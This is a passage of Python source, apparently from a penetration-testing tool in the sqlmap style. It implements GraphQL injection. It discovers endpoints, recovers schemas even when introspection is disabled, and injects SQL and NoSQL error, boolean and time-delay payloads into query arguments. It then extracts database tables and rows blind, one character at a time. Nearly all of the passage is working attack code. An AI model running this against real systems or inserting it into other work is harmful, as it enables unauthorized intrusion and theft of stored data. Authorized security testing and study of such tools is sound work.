(SELECT 1 FROM pg_sleep(%d)) ELSE 0 END)" % (cond, secs), + banner="version()", + currentUser="CURRENT_USER", + currentDb="CURRENT_DATABASE()", + tableFrom="FROM information_schema.tables WHERE table_schema='public'", + tableCol="table_name", + columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnCol="column_name", + paginate=_limitOffset, + row=_pgsqlRow)), + ("MySQL", Dialect( + fingerprint="@@VERSION_COMMENT IS NOT NULL", + length=lambda expr: "CHAR_LENGTH((%s))" % expr, + ordinal=lambda expr, pos: "ASCII(SUBSTRING((%s),%d,1))" % (expr, pos), + delay=lambda cond, secs: "IF((%s),SLEEP(%d),0)" % (cond, secs), + banner="VERSION()", + currentUser="CURRENT_USER()", + currentDb="DATABASE()", + tableFrom="FROM information_schema.tables WHERE table_schema=DATABASE()", + tableCol="table_name", + columnFrom=lambda table: "FROM information_schema.columns WHERE table_name='%s'" % table, + columnCol="column_name", + paginate=_limitOffset, + row=_mysqlRow)), +)) + + +# --- Slot model ------------------------------------------------------------- + +# Carries everything needed to build a valid GraphQL document for one argument +# injection point: the root operation (query/mutation), the full field argument +# list (so required siblings can be defaulted), the target argument name, the +# injection strategy, and return-type metadata for a correct selection set. +Slot = namedtuple("Slot", ("operation", "parentType", "fieldName", "allArgs", + "targetArg", "strategy", "returnKind", "returnType", + "returnSel")) + + +# --- Helpers ---------------------------------------------------------------- + +def _ratio(first, second): + return difflib.SequenceMatcher(None, first or "", second or "").quick_ratio() + + +def _chunks(sequence, size): + # Yield successive `size`-length chunks of `sequence` + for index in xrange(0, len(sequence), size): + yield sequence[index:index + size] + + +def _unwrapType(typeObj, depth=0): + # Traverse a GraphQL type chain, returning [(kind, name), ...] from outermost + # to innermost. NON_NULL and LIST wrappers are unwrapped transparently; named + # types terminate the chain. + if depth > 8 or not isinstance(typeObj, dict): + return [] + kind = typeObj.get("kind", "") + name = typeObj.get("name") + ofType = typeObj.get("ofType") + if ofType and kind in ("NON_NULL", "LIST"): + return [(kind, name)] + _unwrapType(ofType, depth + 1) + return [(kind, name)] + + +def _leafName(chain): + # Last named type in the unwrapped chain (strips NON_NULL / LIST wrappers) + for kind, name in reversed(chain): + if name: + return name + return None + + +def _classifyArg(argType): + # Map a GraphQL argument type to a strategy key, or None for skipped types + chain = _unwrapType(argType) + named = next((name for kind, name in reversed(chain) if name), None) + return SCALAR_STRATEGY.get(named) + + +def _escapeGraphQLString(value): + # Escape a string for embedding inside a double-quoted GraphQL string literal + return getUnicode(value).replace("\\", "\\\\").replace('"', '\\"').replace("\n", "\\n") + + +def _cell(value): + # Render a parsed JSON value as a single dump cell: NULL for null, compact JSON + # for nested objects/arrays (never the Python repr), and the plain text otherwise + if value is None: + return "NULL" + if isinstance(value, (dict, list)): + return json.dumps(value, sort_keys=True) + return "%s" % (value,) + + +# --- HTTP transport --------------------------------------------------------- + +def _gqlSend(endpoint, query, variables=None): + # POST a JSON GraphQL request to `endpoint`, returning (body, http_code) + body = {"query": query} + if variables: + body["variables"] = variables + + if conf.delay: + time.sleep(conf.delay) + + if conf.verbose >= 3: + logger.log(CUSTOM_LOGGING.PAYLOAD, query[:200]) + + oldPostHint = getattr(kb, "postHint", None) + try: + kb.postHint = POST_HINT.JSON + page, _, code = Request.getPage(url=endpoint, post=json.dumps(body), + raise404=False, silent=True) + except Exception: + return "", 0 + finally: + kb.postHint = oldPostHint + return page or "", code + + +def _parseJSON(page): + if not page: + return None + try: + return json.loads(page) + except (ValueError, TypeError): + return None + + +def _isGraphQLResponse(page): + # Does `page` look like a GraphQL JSON response envelope? Requires either + # __typename data or GraphQL-specific error phrasing to avoid false positives + # on ordinary JSON APIs. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return False + data = doc.get("data") + if isinstance(data, dict) and data.get("__typename"): + return True + errors = doc.get("errors") + if isinstance(errors, list) and errors: + return bool(re.search(GRAPHQL_ERROR_REGEX, json.dumps(errors))) + return False + + +def _errorText(page): + # Extract a concatenated error-message string from a GraphQL error envelope + doc = _parseJSON(page) + if not isinstance(doc, dict): + return "" + errors = doc.get("errors") or [] + parts = [] + for e in errors: + if isinstance(e, dict): + parts.append(getUnicode(e.get("message", ""))) + ext = e.get("extensions") + if isinstance(ext, dict): + parts.append(getUnicode(ext.get("code", ""))) + exception = ext.get("exception") + if isinstance(exception, (str, bytes)): + parts.append(getUnicode(exception)) + return "\n".join(p for p in parts if p) + + +def _slotValue(page): + # Extract the first `data` subtree for boolean comparison - we compare the + # resolved field content, not the whole GraphQL envelope. + doc = _parseJSON(page) + if not isinstance(doc, dict): + return page + data = doc.get("data") + if isinstance(data, dict): + for v in data.values(): + if v is not None: + return json.dumps(v, sort_keys=True) + return json.dumps(data, sort_keys=True) + + +# --- Endpoint detection ----------------------------------------------------- + +def _detectEndpoint(baseUrl, probePaths=True): + # Identify the GraphQL endpoint URL. If `baseUrl` already points at a path + # that responds as GraphQL, return it directly. Otherwise probe common paths. + + page, code = _gqlSend(baseUrl, "{__typename}") + if _isGraphQLResponse(page): + return baseUrl, page + + if not probePaths: + return None, None + + for path in GRAPHQL_ENDPOINT_PATHS: + candidate = baseUrl.rstrip("/") + path + page, code = _gqlSend(candidate, "{__typename}") + if _isGraphQLResponse(page): + return candidate, page + + return None, None + + +# --- Schema introspection --------------------------------------------------- + +def _introspect(endpoint): + # Send the standard introspection query and return the parsed __schema dict. + # Falls back to a query without `specifiedByURL` for older GraphQL servers + # that reject it. + + for query in (GRAPHQL_INTROSPECTION_QUERY, + GRAPHQL_INTROSPECTION_QUERY.replace('specifiedByURL\n', '')): + page, code = _gqlSend(endpoint, query) + doc = _parseJSON(page) + if not isinstance(doc, dict): + continue + data = doc.get("data") + if isinstance(data, dict) and "__schema" in data: + return data["__schema"] + return None + + +# --- Schema recovery via field suggestions (introspection disabled) --------- + +def _gqlErrors(page): + # GraphQL error-envelope messages as a list of strings + doc = _parseJSON(page) + if not isinstance(doc, dict): + return [] + return [getUnicode(e.get("message", "")) for e in (doc.get("errors") or []) if isinstance(e, dict)] + + +def _harvestSuggestions(message): + # Pull suggested identifiers out of a "Did you mean ..." GraphQL validation message, + # handling both single- and double-quoted phrasings ('a', 'b', or 'c' / "a" or "b") + idx = message.find("Did you mean") + if idx < 0: + return [] + return re.findall(r"""['"]([A-Za-z_][A-Za-z0-9_]*)['"]""", message[idx:]) + + +def _suggestFields(endpoint, op): + # Recover root field names for an operation via suggestion harvesting: probe a random + # (guaranteed-unknown) field to collect the closest matches, then confirm/expand using a + # seed wordlist. A seed that does NOT come back as "Cannot query field" is itself a real field. + prefix = "" if op == "query" else "mutation " + found = set() + probes = [randomStr(length=10, lowercase=True)] + list(GRAPHQL_FIELD_WORDLIST) + + for seed in probes: + page, _ = _gqlSend(endpoint, "%s{ %s }" % (prefix, seed)) + doc = _parseJSON(page) or {} + for entry in (doc.get("errors") or []): + message = getUnicode(entry.get("message", "")) if isinstance(entry, dict) else "" + if "Did you mean" in message and "on type" in message: + found.update(_harvestSuggestions(message)) + # a seeded name counts as a real field only if it actually resolved (appears in `data`); + # "no unknown-field error" alone is too weak (lenient servers accept anything) + data = doc.get("data") + if seed in GRAPHQL_FIELD_WORDLIST and isinstance(data, dict) and seed in data: + found.add(seed) + + return sorted(found) + + +def _suggestArgs(endpoint, op, field): + # Recover an argument name for `field` from an "Unknown argument ... Did you mean ..." message + prefix = "" if op == "query" else "mutation " + bogus = randomStr(length=10, lowercase=True) + page, _ = _gqlSend(endpoint, '%s{ %s(%s: 1) }' % (prefix, field, bogus)) + found = set() + for message in _gqlErrors(page): + if "Unknown argument" in message: + found.update(_harvestSuggestions(message)) + return sorted(found) + + +def _introspectViaSuggestions(endpoint): + # Fallback schema recovery when introspection is disabled but the server still leaks field/argument + # names through "Did you mean" validation errors. Builds best-effort Slots: known scalar arg types + # are unavailable here, so we default to the 'string' strategy (the most broadly injectable) and let + # the per-slot injection oracle confirm which (field, argument) pairs are actually vulnerable. + + probe = randomStr(length=10, lowercase=True) + page, _ = _gqlSend(endpoint, "{ %s }" % probe) + if not any("Did you mean" in m for m in _gqlErrors(page)): + return None + + logger.info("introspection is disabled; recovering the schema from field-suggestion errors") + + slots = [] + for op, parentName in (("query", "Query"), ("mutation", "Mutation")): + fields = _suggestFields(endpoint, op) + if not fields: + continue + logger.info("recovered %d %s field(s) via suggestions: %s" % ( + len(fields), op, ", ".join(fields))) + for field in fields: + args = _suggestArgs(endpoint, op, field) or list(GRAPHQL_ARG_WORDLIST) + for arg in args: + # returnSel="" renders as "{ __typename }" (valid on any OBJECT); strategy="string" + slots.append(Slot(op, parentName, field, [(arg, {}, None)], + arg, "string", "OBJECT", "", "")) + return slots or None + + +# --- Schema walking --------------------------------------------------------- + +def _extractSlots(schema): + # Walk the schema's Query and Mutation types, harvesting every + # scalar/injectable argument as a Slot + + _inputFields.clear() + + slots = [] + typeByName = {} + for t in (schema.get("types") or []): + if isinstance(t, dict) and t.get("name"): + typeByName[t["name"]] = t + if t.get("kind") == "INPUT_OBJECT": + _inputFields[t["name"]] = [ + (f["name"], f.get("type", {}), f.get("defaultValue")) + for f in (t.get("inputFields") or []) + ] + + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + for op, rootName in (("query", queryName), ("mutation", mutationName)): + if not rootName: + continue + rootType = typeByName.get(rootName) + if not rootType or rootType.get("kind") != "OBJECT": + continue + for field in (rootType.get("fields") or []): + fieldName = field["name"] + fieldArgs = field.get("args") or [] + + # Resolve return-type kind and the leaf selection set + returnChain = _unwrapType(field.get("type", {})) + returnKind = "SCALAR" + returnTypeName = _leafName(returnChain) + for kind, name in returnChain: + if kind != "NON_NULL": + returnKind = kind + + returnObj = typeByName.get(returnTypeName) if returnTypeName else None + leafFields = _scalarFields(returnObj, typeByName) + + # Nested object selections (one level) + nested = {} + if returnObj and returnObj.get("kind") == "OBJECT": + for rf in (returnObj.get("fields") or []): + rfChain = _unwrapType(rf.get("type", {})) + rfName = _leafName(rfChain) + rfObj = typeByName.get(rfName) if rfName else None + if rfObj and rfObj.get("kind") == "OBJECT": + nested[rf["name"]] = _scalarFields(rfObj, typeByName) or ["__typename"] + + returnSel = _renderSelection(returnKind, returnTypeName, leafFields, nested) + + for arg in (fieldArgs or []): + allArgs = [(a["name"], a.get("type", {}), a.get("defaultValue")) for a in fieldArgs] + strategy = _classifyArg(arg.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + arg["name"], strategy, returnKind, + returnTypeName, returnSel)) + elif _isInputObject(arg.get("type", {}), typeByName): + _inputSlots(op, rootName, fieldName, allArgs, + arg["name"], arg.get("type", {}), + returnKind, returnTypeName, returnSel, typeByName, slots) + return slots + + +def _isInputObject(typeObj, typeByName): + name = _leafName(_unwrapType(typeObj)) + if not name: + return None + t = typeByName.get(name) + return t if t and t.get("kind") == "INPUT_OBJECT" else None + + +def _inputSlots(op, rootName, fieldName, allArgs, argName, typeObj, + returnKind, returnType, returnSel, typeByName, slots): + # Recurse one level into an input object's fields + inputType = _isInputObject(typeObj, typeByName) + if not inputType: + return + for fld in (inputType.get("inputFields") or []): + strategy = _classifyArg(fld.get("type", {})) + if strategy: + slots.append(Slot(op, rootName, fieldName, allArgs, + "%s.%s" % (argName, fld["name"]), strategy, + returnKind, returnType, returnSel)) + + +def _scalarFields(objType, typeByName, depth=0): + # Return scalar/leaf field names reachable from `objType` (for selection set) + if not objType or depth > 3: + return [] + names = [] + for fld in (objType.get("fields") or []): + fType = typeByName.get(_leafName(_unwrapType(fld.get("type", {})))) + if not fType or fType.get("kind") in ("SCALAR", "ENUM"): + names.append(fld["name"]) + return names + + +def _renderSelection(returnKind, returnType, leafFields, nested): + # Build the return selection part of a GraphQL document string. + # Scalars/enums: no sub-selection (None). Objects/Lists-of-objects: + # nested field set. Lists-of-scalars also get no sub-selection. + if returnKind in ("SCALAR", "ENUM"): + return None + leafPart = " ".join(leafFields) if leafFields else "__typename" + nestedPart = "" + for objField, subFields in (nested or {}).items(): + nestedPart += " %s { %s }" % (objField, " ".join(subFields)) + return "{ %s%s }" % (leafPart, nestedPart) + + +# --- Request construction --------------------------------------------------- + +def _fieldFragment(slot, value, alias=None): + # Render a single `alias:field(args) selection` fragment with `value` in the + # target argument. Required sibling arguments get safe defaults. Returns "" when + # the value cannot be embedded (e.g. a non-numeric payload in an Int literal). + + if slot.strategy == "numeric" and not getUnicode(value).lstrip("-").isdigit(): + return "" + + renderedArgs = [] + for argName, argType, default in slot.allArgs: + if argName == slot.targetArg or slot.targetArg.startswith(argName + "."): + if "." in slot.targetArg: + outer, inner = slot.targetArg.split(".", 1) + if argName == outer: + renderedArgs.append("%s: {%s}" % (outer, _renderInputObj(slot, value))) + continue + renderedArgs.append(_renderArg(argName, value, slot.strategy)) + else: + siblingStrategy = _classifyArg(argType) or "string" + renderedArgs.append(_renderArg(argName, _defaultForArg(argType, default), siblingStrategy)) + + sel = slot.returnSel + if sel is None: + sel = "" + elif not sel: + sel = "{ __typename }" + argsPart = "(%s)" % ", ".join(renderedArgs) if renderedArgs else "" + return "%s:%s%s %s" % (alias or slot.fieldName, slot.fieldName, argsPart, sel) + + +def _buildQuery(slot, value): + # Render a complete single-field GraphQL document with `value` in the target + # argument. Wraps as a mutation when the slot belongs to the mutation root. + fragment = _fieldFragment(slot, value) + if not fragment: + return "" + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, fragment) + + +def _buildBatch(slot, values): + # Render one GraphQL document aliasing the field once per value (a0, a1, ...), + # so many independent injections resolve in a single request. Returns + # (document, aliases) or ("", []) when any value cannot be embedded. + fragments, aliases = [], [] + for index, value in enumerate(values): + alias = "a%d" % index + fragment = _fieldFragment(slot, value, alias) + if not fragment: + return "", [] + fragments.append(fragment) + aliases.append(alias) + prefix = "mutation " if slot.operation == "mutation" else "" + return "%s{%s}" % (prefix, " ".join(fragments)), aliases + + +def _renderArg(name, value, strategy): + # Render a single argument: name:"value" (string) or name:value (numeric) + if strategy == "numeric": + return "%s:%s" % (name, value) + if strategy == "id_dual" and isinstance(value, (str, bytes)) and getUnicode(value).lstrip("-").isdigit(): + return "%s:%s" % (name, value) + return '%s:"%s"' % (name, _escapeGraphQLString(value)) + + +def _renderInputObj(slot, value): + # Render an input-object literal with the target inner field set to `value` + # and all required sibling fields filled with safe defaults + _, inner = slot.targetArg.split(".", 1) + + outerArg = slot.targetArg.split(".")[0] + inputFields = [] + for aName, aType, aDefault in slot.allArgs: + if aName == outerArg: + objName = _leafName(_unwrapType(aType)) + if objName: + inputFields = _inputFields.get(objName, []) + break + + parts = [] + for fldName, fldType, fldDefault in inputFields: + if fldName == inner: + fldStrategy = _classifyArg(fldType) or "string" + parts.append(_renderArg(inner, value, fldStrategy)) + else: + fldStrategy = _classifyArg(fldType) or "string" + parts.append(_renderArg(fldName, _defaultForArg(fldType, fldDefault), fldStrategy)) + return ", ".join(parts) + + +def _defaultForArg(argType, default): + # Return a safe GraphQL default value for a field argument: the schema + # default if present, otherwise a type-appropriate sentinel + if default is not None: + return default + strategy = _classifyArg(argType) + if strategy == "numeric": + return 0 + return "x" + + +# --- Detection -------------------------------------------------------------- + +def _detectError(slot, endpoint): + # Error-based detection: inject SQL/NoSQL error-inducing payloads and check + # whether the GraphQL `errors` envelope carries a known DBMS signature + + for payload in _SQL_ERROR_PAYLOADS: + query = _buildQuery(slot, payload) + if not query: + continue + page, code = _gqlSend(endpoint, query) + err = _errorText(page) + if not err: + continue + for pattern in ERROR_PARSING_REGEXES: + m = re.search(pattern, err) + if m: + return "error-based", m.group("result") if "result" in m.groupdict() else err[:200] + + # Try NoSQL error signatures + for payload in (_NOSQL_NE, _NOSQL_IN): + query = _buildQuery(slot, payload) + if not query: + continue + page, code = _gqlSend(endpoint, query) + err = _errorText(page) + if err and re.search(NOSQL_ERROR_REGEX, err): + return "error-based", err[:200] + + return None, None + + +def _detectBoolean(slot, endpoint): + # Boolean-based detection: compare the resolved data between true and false + # payloads. Numeric GraphQL literals (Int/Float) cannot carry SQL payloads. + + if slot.strategy == "numeric": + return None, None + + trueQuery = _buildQuery(slot, _SQL_BOOLEAN_TRUE) + falseQuery = _buildQuery(slot, _SQL_BOOLEAN_FALSE) + + if not trueQuery or not falseQuery: + return None, None + + truePage, _ = _gqlSend(endpoint, trueQuery) + truePage2, _ = _gqlSend(endpoint, trueQuery) + falsePage, _ = _gqlSend(endpoint, falseQuery) + + trueVal = _slotValue(truePage) + trueVal2 = _slotValue(truePage2) + falseVal = _slotValue(falsePage) + + # Require the true response to be REPRODUCIBLE (trueVal ~= trueVal2) and to diverge + # from the false response. A single true-vs-false compare turns page jitter into a + # false positive; a reproducibility guard (like the other non-SQL engines' _boolean) + # rejects it, since a jittery page also fails to reproduce against itself. + if _ratio(trueVal, trueVal2) >= (1.0 - _MIN_RATIO_DIFF) and _ratio(trueVal, falseVal) < (1.0 - _MIN_RATIO_DIFF): + return "boolean-based blind (string)", truePage + + return None, None + + +def _detectTime(slot, endpoint): + # Time-based detection: send a per-dialect conditional sleep and measure the + # elapsed time against a baseline. Returns (oracleType, threshold, dbms). + + if slot.strategy == "numeric": + return None, None, None + + baseQuery = _buildQuery(slot, "x") + if not baseQuery: + return None, None, None + + def elapsed(query): + start = time.time() + _gqlSend(endpoint, query) + return time.time() - start + + baseline = elapsed(baseQuery) + delay = conf.timeSec + cutoff = baseline + delay * 0.5 + + for dbms, dialect in DIALECTS.items(): + if not dialect.delay: + continue + sleepQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=1", delay))) + if not sleepQuery or elapsed(sleepQuery) <= cutoff: + continue + + # Confirm before attributing: the delay must REPRODUCE and a false-condition + # control must stay fast. A single sample turns jitter/a uniformly-slow endpoint + # into a false positive and can pin the wrong dialect; requiring the delay to + # track the condition rules both out. + controlQuery = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, dialect.delay("1=2", delay))) + if elapsed(sleepQuery) > cutoff and (controlQuery is None or elapsed(controlQuery) <= cutoff): + return "time-based blind", cutoff, dbms + + return None, None, None + + +# --- Boolean / time oracle (universal blind-SQLi primitive) ----------------- + +def _makeOracle(slot, endpoint, dbmsHint=None, threshold=None): + """Establish a truth(sqlCondition) -> bool primitive on `slot`. For a content + oracle the condition is injected as `' OR ()-- ` and the resolved + field is compared to its always-true template; for a timing oracle the condition + is wrapped in the dialect's conditional sleep. Returns (truth, truthBatch) where + truthBatch(conditions) -> [bool] evaluates many conditions in one aliased request + (None when the back-end rejects batching). Returns (None, None) when no usable + contrast exists on this slot.""" + + def _payload(condition): + return "%s' OR (%s)-- " % (SENTINEL, condition) + + if threshold is not None and dbmsHint and DIALECTS[dbmsHint].delay: + # Timing oracle: a per-document sleep fires only when `condition` holds. Batching + # would serialise the sleeps and inflate every request, so it is not offered here. + delay = DIALECTS[dbmsHint].delay + + def truth(condition): + query = _buildQuery(slot, "%s' OR %s-- " % (SENTINEL, delay(condition, conf.timeSec))) + if not query: + return False + start = time.time() + _gqlSend(endpoint, query) + return (time.time() - start) > threshold + + return truth, None + + # Content oracle: capture the always-true template and require a clear true/false split + trueVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=1")))[0]) + falseVal = _slotValue(_gqlSend(endpoint, _buildQuery(slot, _payload("1=2")))[0]) + if _ratio(trueVal, falseVal) > UPPER_RATIO_BOUND: + return None, None + + def truth(condition): + query = _buildQuery(slot, _payload(condition)) + if not query: + return False + page, _ = _gqlSend(endpoint, query) + return _ratio(_slotValue(page), trueVal) > UPPER_RATIO_BOUND + + def truthBatch(conditions): + query, aliases = _buildBatch(slot, [_payload(_) for _ in conditions]) + if not query: + return [False] * len(conditions) + page, _ = _gqlSend(endpoint, query) + data = (_parseJSON(page) or {}).get("data") or {} + return [_ratio(json.dumps(data.get(alias), sort_keys=True, default=str), trueVal) > UPPER_RATIO_BOUND + for alias in aliases] + + # Sanity: the oracle must answer a known truth/falsehood correctly + if not (truth("1=1") and not truth("1=2")): + return None, None + + return truth, truthBatch + + +def _fingerprint(truth): + # Identify the back-end DBMS by probing each dialect's signature predicate + for dbms, dialect in DIALECTS.items(): + if truth(dialect.fingerprint): + return dbms + return None + + +# --- Blind inference -------------------------------------------------------- + +def _safeChr(codepoint): + try: + return _unichr(codepoint) + except (ValueError, OverflowError): + return "?" + + +def _inferChar(truth, dialect, expr, pos): + """Recover one character's codepoint by bisection: the printable-ASCII range first + (fast, ~log2(95) probes), widening to the full Unicode range only when the codepoint + proves to be above it - so non-ASCII/UTF-8 data is recovered rather than silently + mangled into a wrong printable char. Control bytes below CHAR_MIN surface as '?'. + (MySQL's ASCII() yields the leading byte of a multibyte char, not its codepoint - a + documented limitation; the codepoint-returning dialects recover exactly.)""" + + ordExpr = dialect.ordinal(expr, pos) + if not truth("%s>=%d" % (ordExpr, CHAR_MIN)): + return "?" + hi = UNICODE_MAX if truth("%s>%d" % (ordExpr, CHAR_MAX)) else CHAR_MAX + low, high = CHAR_MIN, hi + while low < high: + mid = (low + high + 1) // 2 + if truth("%s>=%d" % (ordExpr, mid)): + low = mid + else: + high = mid - 1 + return _safeChr(low) + + +def _inferExpr(truth, dialect, expr, maxLen=MAX_LENGTH): + # Recover the string value of SQL expression `expr` one character at a time: + # binary-search the length, then each character via _inferChar (printable-fast, + # widening to full Unicode for non-ASCII). + lengthExpr = dialect.length(expr) + + if not truth("%s>0" % lengthExpr): + return "" if truth("%s=0" % lengthExpr) else None + + length, probe = 1, 2 + while probe <= maxLen and truth("%s>=%d" % (lengthExpr, probe)): + length, probe = probe, probe * 2 + low, high = length, min(probe, maxLen + 1) + while low + 1 < high: + mid = (low + high) // 2 + if truth("%s>=%d" % (lengthExpr, mid)): + low = mid + else: + high = mid + length = low + + if length >= maxLen: + logger.warning("value length hit the %d-char cap; the recovered value may be truncated" % maxLen) + + value = "" + for pos in xrange(1, length + 1): + value += _inferChar(truth, dialect, expr, pos) + return value + + +def _inferExprBatched(truthBatch, truth, dialect, expr, maxLen=MAX_LENGTH): + # Same recovery as _inferExpr, but every probe is independent and resolved in + # parallel via aliased batching: the length is read from monotone >=N predicates + # and each character from its 7 independent bit predicates (ASCII & 2**b) plus one + # ">CHAR_MAX" flag. An L-character value costs ceil(8*L / BATCH_SIZE) requests. A + # flagged (non-ASCII) position is then recovered exactly via `truth` bisection + # (the 7 bits only carry the low byte), so non-ASCII data is not mangled. + lengthExpr = dialect.length(expr) + + length = 0 + for chunk in _chunks(list(xrange(1, maxLen + 1)), BATCH_SIZE): + results = truthBatch(["%s>=%d" % (lengthExpr, _) for _ in chunk]) + hits = [n for n, ok in zip(chunk, results) if ok] + if hits: + length = max(length, max(hits)) + if not all(results): # monotone predicate: no longer length can be true beyond here + break + if length == 0: + return "" + + conditions, index = [], [] + for pos in xrange(1, length + 1): + for bit in xrange(7): + conditions.append("(%s & %d)>0" % (dialect.ordinal(expr, pos), 1 << bit)) + index.append((pos, bit)) + conditions.append("%s>%d" % (dialect.ordinal(expr, pos), CHAR_MAX)) + index.append((pos, "hi")) + + codes, wide = {}, set() + flat = [] + for chunk in _chunks(conditions, BATCH_SIZE): + flat.extend(truthBatch(chunk)) + for (pos, bit), ok in zip(index, flat): + if bit == "hi": + if ok: + wide.add(pos) + elif ok: + codes[pos] = codes.get(pos, 0) | (1 << bit) + + value = "" + for pos in xrange(1, length + 1): + if pos in wide: + value += _inferChar(truth, dialect, expr, pos) # non-ASCII: exact recovery + else: + code = codes.get(pos, 0) + value += _unichr(code) if CHAR_MIN <= code <= CHAR_MAX else "?" + return value + + +def _inferrer(truth, truthBatch, dialect): + # Pick batched inference when the back-end honours aliased batching (verified + # with a known true/false pair), else fall back to sequential bisection + if truthBatch and truthBatch(["1=1", "1=2"]) == [True, False]: + logger.info("using aliased query batching to accelerate blind extraction") + return lambda expr, maxLen=MAX_LENGTH: _inferExprBatched(truthBatch, truth, dialect, expr, maxLen) + return lambda expr, maxLen=MAX_LENGTH: _inferExpr(truth, dialect, expr, maxLen) + + +def _catList(infer, dialect, col, fromClause): + # Enumerate a catalog name list (tables or a table's columns) one entry at a time by + # ordinal position, so a GROUP_CONCAT/STRING_AGG the back-end would silently truncate + # (e.g. MySQL group_concat_max_len=1024) can't drop names. + try: + count = int((infer("(SELECT COUNT(*) %s)" % fromClause) or "").strip()) + except ValueError: + count = 0 + + names = [] + for offset in xrange(min(count, DUMP_MAX_ROWS)): + name = infer("(SELECT %s %s %s)" % (col, fromClause, dialect.paginate(col, offset))) + if name: + names.append(name) + + if count > DUMP_MAX_ROWS: + logger.warning("catalog lists %d names; enumerating the first %d (DUMP_MAX_ROWS cap)" % (count, DUMP_MAX_ROWS)) + + return names + + +def _dumpTable(infer, dialect, table): + # Enumerate a table's columns, then recover its rows ONE AT A TIME by ordinal + # position. A whole-table GROUP_CONCAT/STRING_AGG would be silently truncated by + # the back-end (e.g. MySQL group_concat_max_len=1024), dropping rows; per-row + # extraction has no such cap. + columns = _catList(infer, dialect, dialect.columnCol, dialect.columnFrom(table)) + if not columns: + return None + + countRaw = infer("(SELECT COUNT(*) FROM %s)" % table) + try: + count = int((countRaw or "").strip()) + except ValueError: + count = 0 + + rows = [] + for offset in xrange(min(count, DUMP_MAX_ROWS)): + raw = infer(dialect.row(columns, table, offset), DUMP_MAX_LENGTH) + if raw is None: + continue + cells = raw.split(COL_SEP) + rows.append((cells + [""] * len(columns))[:len(columns)]) + + if count > DUMP_MAX_ROWS: + logger.warning("table '%s' has %d rows; dumping the first %d (DUMP_MAX_ROWS cap)" % (table, count, DUMP_MAX_ROWS)) + + return columns, rows + + +# --- Dump ------------------------------------------------------------------- + +def _dumpInband(endpoint, slot, templatePage): + # Check whether the always-true response carries materially more data than + # the original (in-band data exposure) + origQuery = _buildQuery(slot, "x") + if not origQuery: + return None + origPage, _ = _gqlSend(endpoint, origQuery) + if len(templatePage or "") < len(origPage or "") * 1.25: + return None + return _parseRows(templatePage, slot) + + +def _parseRows(page, slot): + # Parse a GraphQL JSON `data` tree into (columns, rows) + doc = _parseJSON(page) + if not isinstance(doc, dict): + return None + data = doc.get("data") + if not isinstance(data, dict): + return None + for v in data.values(): + if v is None: + return None + if isinstance(v, list): + columns = [] + for item in v: + if isinstance(item, dict): + for k in item: + if k not in columns: + columns.append(k) + rows = [] + for item in v: + if isinstance(item, dict): + rows.append([_cell(item.get(c)) for c in columns]) + return (columns, rows) if rows else None + if isinstance(v, dict): + columns = sorted(v.keys()) + rows = [[_cell(v.get(c)) for c in columns]] + return (columns, rows) + return None + + +def _grid(columns, rows): + # Render a simple ASCII table + if not columns or not rows: + return "(empty)" + widths = [] + for i, c in enumerate(columns): + w = len("%s" % (c,)) + for r in rows: + w = max(w, len("%s" % (r[i] if i < len(r) else "",))) + widths.append(w) + sep = "+-" + "-+-".join("-" * w for w in widths) + "-+" + header = "| " + " | ".join(("%s" % (c,)).ljust(w) for c, w in zip(columns, widths)) + " |" + lines = [sep, header, sep] + for row in rows: + lines.append("| " + " | ".join(("%s" % (row[i] if i < len(row) else "",)).ljust(w) + for i, w in enumerate(widths)) + " |") + lines.append(sep) + return "\n".join(lines) + + +def _renderTypeStr(chain): + # Render a GraphQL type chain as a readable string: [User]! or String! + named = _leafName(chain) or "" + prefix = "" + suffix = "" + for kind, _ in chain: + if kind == "NON_NULL": + suffix = "!" + elif kind == "LIST": + prefix = "[" + prefix + suffix = suffix + "]" + return prefix + named + suffix + + +def _dumpSchema(schema, endpoint): + # Dump the schema as readable tables: types and their fields/arguments + if not schema: + return + + types = schema.get("types") or [] + queryName = (schema.get("queryType") or {}).get("name") + mutationName = (schema.get("mutationType") or {}).get("name") + + rows = [] + for t in types: + if not isinstance(t, dict): + continue + kind = t.get("kind", "") + name = t.get("name", "") + if kind not in ("OBJECT", "INPUT_OBJECT"): + continue + rootTag = "" + if name == queryName: + rootTag = " [Query]" + elif name == mutationName: + rootTag = " [Mutation]" + fields = t.get("fields") or t.get("inputFields") or [] + if not fields: + rows.append([kind, name + rootTag, "", "", "", ""]) + for f in fields: + fName = f.get("name", "") + typeStr = _renderTypeStr(_unwrapType(f.get("type", {}))) + for a in (f.get("args") or []): + aType = _renderTypeStr(_unwrapType(a.get("type", {}))) + strategy = _classifyArg(a.get("type", {})) or "" + rows.append([kind, name + rootTag, fName, typeStr, a["name"], aType, strategy]) + if not (f.get("args") or []): + rows.append([kind, name + rootTag, fName, typeStr, "", "", ""]) + + if rows: + conf.dumper.singleString("GraphQL schema (%s):\n%s" % (endpoint, + _grid(["Kind", "Type", "Field", "Return", "Argument", "ArgType", "Strategy"], rows))) + + +# --- Orchestration ---------------------------------------------------------- + +def _testSlot(slot, endpoint): + """Confirm an injection on `slot` and report it. Returns (oracleType, oracle, detail) + where `oracle` is (truth, truthBatch, dbmsHint) for a usable blind-SQLi primitive (None for an + error-only / non-differential point) and `oracleType` is None when nothing is confirmed.""" + + kind = oracleType = detail = templatePage = dbmsHint = threshold = None + + # Boolean content inference is the most reliable extraction oracle, so it is preferred over the + # (also valid) error and time signals, which serve as fallbacks for non-differential slots. + oracleType, templatePage = _detectBoolean(slot, endpoint) + if oracleType: + kind = "boolean" + logger.info("boolean-based oracle confirmed (%s)" % oracleType) + else: + errorType, detail = _detectError(slot, endpoint) + if errorType: + kind, oracleType = "error", errorType + logger.info("error-based oracle confirmed") + else: + oracleType, threshold, dbmsHint = _detectTime(slot, endpoint) + if oracleType: + kind = "time" + logger.info("time-based oracle confirmed (back-end '%s', threshold %.1fs)" % (dbmsHint, threshold)) + + if not kind: + logger.info("no oracle confirmed for this slot") + return None, None, None + + logger.info("%s.%s(%s:) is vulnerable to GraphQL injection 